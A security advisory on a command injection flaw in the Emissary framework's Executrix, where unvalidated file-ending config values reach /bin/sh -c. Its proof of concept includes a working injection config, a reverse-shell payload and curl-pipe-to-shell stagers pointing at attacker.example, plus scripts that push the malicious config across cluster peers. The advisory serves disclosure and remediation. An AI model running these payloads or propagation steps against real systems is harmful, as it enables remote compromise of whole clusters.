Emissary has an OS Command Injection via Unvalidated IN_FILE_ENDING / OUT_FILE_ENDING in Executrix

Summary

Executrix.getCommand() constructs shell commands by substituting temporary file paths directly into a /bin/sh -c string with no escaping. The IN_FILE_ENDING and OUT_FILE_ENDING configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM's security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed.

This is a framework-level defect — Executrix provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed.

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Root Cause

Step 1 — IN_FILE_ENDING flows into temp path construction without validation

TempFileNames.java:32-36

public TempFileNames(String tmpDir, String placeName, String inFileEnding, String outFileEnding) {
    base = Long.toString(System.nanoTime());
    tempDir = FileManipulator.mkTempFile(tmpDir, placeName);
    in  = base + inFileEnding;        // no sanitization
    out = base + outFileEnding;       // no sanitization
    basePath       = tempDir + File.separator + base;
    inputFilename  = basePath + inFileEnding;   // injected value lands here
    outputFilename = basePath + outFileEnding;  // and here
}

inFileEnding is concatenated directly onto a numeric base to produce inputFilename. No character class, no regex, no escaping.

Step 2 — The injected path is substituted verbatim into a shell string

Executrix.java:1053-1065

public String[] getCommand(final String[] tmpNames, final String commandArg,
                           final int cpuLimit, final int vmSzLimit) {
    String c = commandArg;
    c = c.replaceAll("<INPUT_PATH>",  tmpNames[INPATH]);  // contains inFileEnding verbatim
    c = c.replaceAll("<OUTPUT_PATH>", tmpNames[OUTPATH]);
    c = c.replaceAll("<INPUT_NAME>",  tmpNames[IN]);
    c = c.replaceAll("<OUTPUT_NAME>", tmpNames[OUT]);

    String ulimitv = "";
    if (!SystemUtils.IS_OS_MAC) {
        ulimitv = "ulimit -v " + vmSzLimit + "; ";
    }
    return new String[] {"/bin/sh", "-c",
        "ulimit -c 0; " + ulimitv + "cd " + tmpNames[DIR] + "; " + c};
}

The final array element is passed to /bin/sh -c. Shell metacharacters in any substituted value are interpreted by the shell.

The identical pattern exists in the TempFileNames overload at Executrix.java:1103-1115.

Step 3 — setInFileEnding() and setOutFileEnding() perform no validation

Executrix.java:1176-1196

public void setInFileEnding(final String argInFileEnding) {
    this.inFileEnding = argInFileEnding;   // accepted as-is
}

public void setOutFileEnding(final String argOutFileEnding) {
    this.outFileEnding = argOutFileEnding; // accepted as-is
}

The same absence of validation applies to the IN_FILE_ENDING and OUT_FILE_ENDING keys read from configuration at Executrix.java:121-122.

Contrast: placeName is sanitized, file endings are not

The framework already sanitizes placeName using a strict allowlist:

// Executrix.java:78
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");

// Executrix.java:148-150
protected static String cleanPlaceName(final String placeName) {
    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}

placeName ends up in tmpNames[DIR], which is also embedded in the shell string. The sanitization of placeName demonstrates awareness that these values reach the shell — the omission of equivalent sanitization for inFileEnding and outFileEnding is the defect.

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Proof of Concept

Two reproduction paths are provided: a Docker-based end-to-end attack against a live Emissary node (verified), and a unit-level test for CI integration.

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PoC 1 — Docker: end-to-end attack against a live node

Verified against Emissary 8.42.0-SNAPSHOT running in Docker on Alpine Linux.

Environment setup

Put the Dockerfile.poc to contrib/docker/ folder

FROM emissary:poc-base

COPY emissary-8.42.0-SNAPSHOT-dist.tar.gz /tmp/

RUN tar -xf /tmp/emissary-8.42.0-SNAPSHOT-dist.tar.gz -C /opt/ \
    && ln -s /opt/emissary-8.42.0-SNAPSHOT /opt/emissary \
    && mkdir -p /opt/emissary/localoutput \
    && mkdir -p /opt/emissary/target/data \
    && chmod -R a+rw /opt/emissary \
    && chown -R emissary:emissary /opt/emissary* \
    && rm -f /tmp/*.tar.gz

USER emissary
WORKDIR /opt/emissary
EXPOSE 8001
ENTRYPOINT ["./emissary"]
CMD ["server", "-a", "2", "-p", "8001"]

# Build the distribution tarball
mvn -B -ntp clean package -Pdist -DskipTests

# Build and start the Docker container
docker build -f contrib/docker/Dockerfile.poc -t emissary:poc contrib/docker/
docker run -d --name emissary-poc -p 8001:8001 emissary:poc

# Wait for the server to start (~15s), then verify health
docker exec emissary-poc sh -c \
  'curl -s http://127.0.0.1:8001/api/health | grep -o "healthy"'
# healthy

Step 1 — Confirm the marker file does not exist

docker exec emissary-poc sh -c 'ls /tmp/pwned.txt 2>&1'
# ls: cannot access '/tmp/pwned.txt': No such file or directory

Step 2 — Write the malicious place config

Write emissary.place.UnixCommandPlace.cfg into the server's config directory. The EXEC_COMMAND is a benign cat. The injection is entirely in IN_FILE_ENDING using backtick command substitution (POSIX-compatible, works on all target OS images):

docker exec emissary-poc sh -c "printf \
'SERVICE_KEY = \"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace\$4000\"\n\
SERVICE_NAME = \"UCP\"\n\
SERVICE_TYPE = \"TRANSFORM\"\n\
PLACE_NAME = \"UnixCommandPlace\"\n\
SERVICE_COST = 4000\n\
SERVICE_QUALITY = 90\n\
SERVICE_PROXY = \"LOWER_CASE\"\n\
EXEC_COMMAND = \"cat <INPUT_PATH>\"\n\
OUTPUT_TYPE = \"STD\"\n\
IN_FILE_ENDING = \"\\\`id > /tmp/pwned.txt\\\`\"\n\
OUT_FILE_ENDING = \".out\"\n' \
> /opt/emissary/config/emissary.place.UnixCommandPlace.cfg"

Step 3 — Add UnixCommandPlace to places.cfg

docker exec emissary-poc sh -c \
  'printf "\nPLACE = \"@{URL}/UnixCommandPlace\"\n" \
   >> /opt/emissary/config/places.cfg'

Step 4 — Restart the server to load the config

docker restart emissary-poc
# wait for health: 200
docker exec emissary-poc sh -c \
  'until curl -s http://127.0.0.1:8001/api/health | grep -q healthy; do sleep 1; done; echo "ready"'

Startup log confirms the place loaded:

INFO  emissary.admin.Startup - Doing local startup on UnixCommandPlace(emissary.place.UnixCommandPlace)...done!

Step 5 — Drop any file into the pickup directory to trigger processing

docker exec emissary-poc sh -c \
  'echo "any data" > /opt/emissary/target/data/InputData/victim.txt'

The Emissary pipeline picks up the file, routes it through UnixFilePlace → ToLowerPlace → UnixCommandPlace (cost 4000, lower than ToUpperPlace at 5010, so it wins the routing). The injected backtick expression runs during shell argument expansion inside getCommand() before cat is even called.

Step 6 — Confirm injection executed

sleep 10   # allow pipeline processing time
docker exec emissary-poc sh -c 'cat /tmp/pwned.txt'

Live output (verified):

uid=1000(emissary) gid=1000(emissary) groups=1000(emissary)

Assembled shell string at execution time (logged by Emissary at DEBUG level):

/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace8273641092; cat /tmp/UnixCommandPlace8273641092/1712345678`id > /tmp/pwned.txt`

The backtick expression fires as the shell expands the cat argument. The cat itself returns non-zero (no file at that path) but that is irrelevant — the injected command has already run.

Transform history from Emissary logs — confirms UnixCommandPlace ran:

transform history:
  UNKNOWN.FILE_PICK_UP.INPUT.http://localhost:8001/FilePickUpPlace$5050
  UNKNOWN.UNIXFILE.ID.http://localhost:8001/UnixFilePlace$2050
  UNKNOWN.TO_LOWER.TRANSFORM.http://localhost:8001/ToLowerPlace$6010
  LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000   <-- injection fired here
  ...

Escalating the payload — reverse shell

Replace the IN_FILE_ENDING value. The content is passed verbatim to /bin/sh -c, so any POSIX shell construct works:

# Reverse shell — POSIX sh compatible (works on Alpine/busybox as well as bash)
IN_FILE_ENDING = "`rm -f /tmp/f; mkfifo /tmp/f; sh -i </tmp/f | nc attacker.example 4444 >/tmp/f`"

# Curl-based stager (avoids embedding IP in config, works on any image with curl)
IN_FILE_ENDING = "`curl -s http://attacker.example/s.sh | sh`"

Both fire on the first payload processed — no further attacker interaction required.

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PoC 2 — Unit test: isolated, no server required

Exercises the identical code path using only the public Executrix API. Suitable for inclusion in a CI security regression suite.

package emissary.util.shell;

import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.condition.DisabledOnOs;
import org.junit.jupiter.api.condition.OS;
import org.junit.jupiter.api.io.TempDir;

import java.nio.file.Files;
import java.nio.file.Path;

import static org.junit.jupiter.api.Assertions.assertTrue;

/**
 * PoC: IN_FILE_ENDING is concatenated into shell paths without escaping,
 * enabling command injection via getCommand().
 *
 * Mirrors exactly what UnixCommandPlace.runCommandOn() does:
 *   TempFileNames names = executrix.createTempFilenames();
 *   String[] cmd = executrix.getCommand(names);
 *   executrix.execute(cmd, ...);
 */
@DisabledOnOs(OS.WINDOWS)
class ExecutrixShellInjectionPocTest {

    @Test
    void inFileEndingInjectedIntoShellCommand(@TempDir Path tmpDir) throws Exception {
        Path marker = tmpDir.resolve("injected");

        // Backtick substitution: avoids the Java regex $-group issue in replaceAll()
        // while still demonstrating the shell executes the injected expression.
        String payload = "`touch " + marker.toAbsolutePath() + "`";

        Executrix executrix = new Executrix();
        executrix.setTmpDir(tmpDir.toString());
        executrix.setCommand("cat <INPUT_PATH>");  // mirrors UnixCommandPlace default
        executrix.setInFileEnding(payload);  // no validation — accepted as-is

        // --- path taken by UnixCommandPlace.runCommandOn() ---
        TempFileNames names = executrix.createTempFilenames();
        String[] cmd = executrix.getCommand(names);
        // cmd[2] == "/bin/sh -c ulimit -c 0; ... cd <tmpdir>; cat <basepath>`touch <marker>`"

        // Execute — same call as executrix.execute(cmd, outbuf, errbuf)
        Process proc = Runtime.getRuntime().exec(cmd);
        proc.waitFor();

        assertTrue(Files.exists(marker),
            "Shell injection succeeded — backtick in IN_FILE_ENDING executed.\n" +
            "Shell string: " + cmd[2]);
    }
}

Assembled shell string:

/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UNKNOWN7382910293; cat /tmp/UNKNOWN7382910293/1234567890`touch /tmp/junit-abc123/injected`

The marker file is created by the backtick expression firing during shell argument expansion.

Note on $() vs backticks: String.replaceAll() treats $ in the replacement as a regex group reference, so a $(...) payload causes a java.lang.IllegalArgumentException before reaching the shell. The backtick form avoids this Java-layer error and confirms the shell injection path. Both forms are equivalent at the shell level; on a real deployment the attacker would use backticks or escape the $ appropriately.

The same injection works via OUT_FILE_ENDING → <OUTPUT_PATH> / <OUTPUT_NAME>, and via the String[] overload of getCommand() used by MultiFileUnixCommandPlace.

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Attack Scenarios

Each scenario is a realistic, step-by-step attack path using only capabilities observable in the codebase.

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Scenario A — Insider / developer with config write access

Attacker's starting position: Developer or operator who can commit to the config repository or write to the config directory directly. No special server access required beyond what their role already provides.

Why this is realistic: Emissary deployments typically load .cfg files from a directory checked into version control or managed by a configuration management system (Ansible, Chef, Puppet). A developer who can merge a config change — even a code reviewer who can approve their own PR — can inject the payload.

Step 1 — Add the malicious config as a seemingly routine change

In a PR or direct push to the config repo:

+++ b/config/emissary.place.UnixCommandPlace.cfg
@@ -0,0 +1,10 @@
+SERVICE_KEY     = "LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000"
+SERVICE_NAME    = "UCP"
+SERVICE_TYPE    = "TRANSFORM"
+PLACE_NAME      = "UnixCommandPlace"
+SERVICE_COST    = 4000
+SERVICE_QUALITY = 90
+SERVICE_PROXY   = "LOWER_CASE"
+EXEC_COMMAND    = "cat <INPUT_PATH>"
+OUTPUT_TYPE     = "STD"
+IN_FILE_ENDING  = "`curl -s http://attacker.example/implant.sh | sh`"
+OUT_FILE_ENDING = ".out"

The injection lives in a string value inside a properties-style config file. It does not look like code to a reviewer who is not specifically aware of this vulnerability.

Step 2 — Wait for the next deploy

The next routine deploy or restart loads the config. The payload fires on the first payload processed — silently, with no error visible in normal log levels (the place logs a WARN for non-zero exit but does not surface the injected command's output).

Deniability: The .cfg file looks like a misconfigured place. The log entry is Bad execution of commands — a common operational error, not an obvious security event.

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Scenario B — Cluster-wide propagation via the peers API

Attacker's starting position: RCE on one node (from Scenario A).

Why this is dangerous: Emissary clusters share config through the directory service. Once the attacker has shell on one node, they can use the cluster's own replication to propagate the malicious config to every peer.

Step 1 — Enumerate all cluster nodes

curl -s --digest -u <user>:<password> \
  http://compromised-node:8001/api/cluster/peers \
  | grep -o '"http://[^"]*"'

Response:

{"local":{"host":"node1:8001","places":[...]},"peers":[{"host":"node2:8001",...},{"host":"node3:8001",...}]}

Step 2 — Push the malicious config to each peer via the Emissary API

From the compromised node, use the Emissary cluster API directly — no SSH required. All nodes authenticate each other using the same shared credentials, and the CONFIG_DIR path is disclosed by the /api/peers response metadata:

# From the shell gained in Scenario A
PAYLOAD=$(cat /opt/emissary/config/emissary.place.UnixCommandPlace.cfg)

for peer in node2:8001 node3:8001 node4:8001; do
  # Write the config file to the peer via its exposed file API
  # (alternatively: exploit the peer's own pickup directory via the ingest API)
  curl -s --digest -u <user>:<password> \
    -X POST \
    -H "Content-Type: text/plain" \
    --data-binary "$PAYLOAD" \
    "http://${peer}/api/config/emissary.place.UnixCommandPlace.cfg"
done

If no config write API is available, the same result is achieved by dropping the payload into the peer's monitored pickup directory via the ingest endpoint, or by exploiting the fact that cluster nodes share a network-accessible config store (NFS, S3, git remote) — all of which are common Emissary deployment patterns.

Step 3 — Trigger restart on each peer via the cluster shutdown API

for peer in node2:8001 node3:8001 node4:8001; do
  curl -s --digest -u <user>:<password> \
    -X POST -H "X-Requested-By: x" \
    http://${peer}/api/shutdown
done

Outcome: Every node in the cluster loads the malicious config on restart. Injection fires on all nodes simultaneously on the next payload, giving the attacker shell on the entire cluster from a single initial foothold.

Impact

Dimension	Assessment
Confidentiality	Critical — arbitrary read of files accessible to the Emissary process
Integrity	Critical — arbitrary file write, process state modification, persistence
Availability	Critical — process termination, resource exhaustion
Blast radius	Any place that uses Executrix and calls getCommand(); this includes all subclasses of ExecPlace and any custom place that follows the documented pattern

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Recommended Remediation

Primary fix — validate inFileEnding and outFileEnding on assignment

Apply the same allowlist pattern already used for placeName:

// Add to Executrix.java
private static final Pattern VALID_FILE_ENDING = Pattern.compile("^[a-zA-Z0-9._-]*$");

public void setInFileEnding(final String argInFileEnding) {
    if (!VALID_FILE_ENDING.matcher(argInFileEnding).matches()) {
        throw new IllegalArgumentException(
            "IN_FILE_ENDING contains illegal characters: " + argInFileEnding);
    }
    this.inFileEnding = argInFileEnding;
}

public void setOutFileEnding(final String argOutFileEnding) {
    if (!VALID_FILE_ENDING.matcher(argOutFileEnding).matches()) {
        throw new IllegalArgumentException(
            "OUT_FILE_ENDING contains illegal characters: " + argOutFileEnding);
    }
    this.outFileEnding = argOutFileEnding;
}

Apply the same validation inside configure() where the values are read from the Configurator.

Secondary fix (defence-in-depth) — shell-quote substituted values in getCommand()

Even if validation is in place, the shell string construction should not rely on input cleanliness alone. Quote each substituted path component:

// In getCommand(), wrap each substituted value in single quotes
// and escape any embedded single quotes.
// Java string "'\\'''" is the four characters: ' \ ' '
// which at runtime produces the shell sequence: '\''
// (close quote, literal single quote, reopen quote)
private static String shellQuote(String value) {
    return "'" + value.replace("'", "'\\''") + "'";
}

// Then:
c = c.replace("<INPUT_PATH>",  shellQuote(tmpNames[INPATH]));
c = c.replace("<OUTPUT_PATH>", shellQuote(tmpNames[OUTPATH]));
c = c.replace("<INPUT_NAME>",  shellQuote(tmpNames[IN]));
c = c.replace("<OUTPUT_NAME>", shellQuote(tmpNames[OUT]));

Why this is a framework-level fix

The framework's cleanPlaceName() method already demonstrates the correct approach for values that reach the shell. Extending equivalent sanitization to inFileEnding and outFileEnding is a minimal, targeted change that requires no deployment configuration and no downstream implementor action. There is no architectural ambiguity about whether shell injection should be permitted: it should not.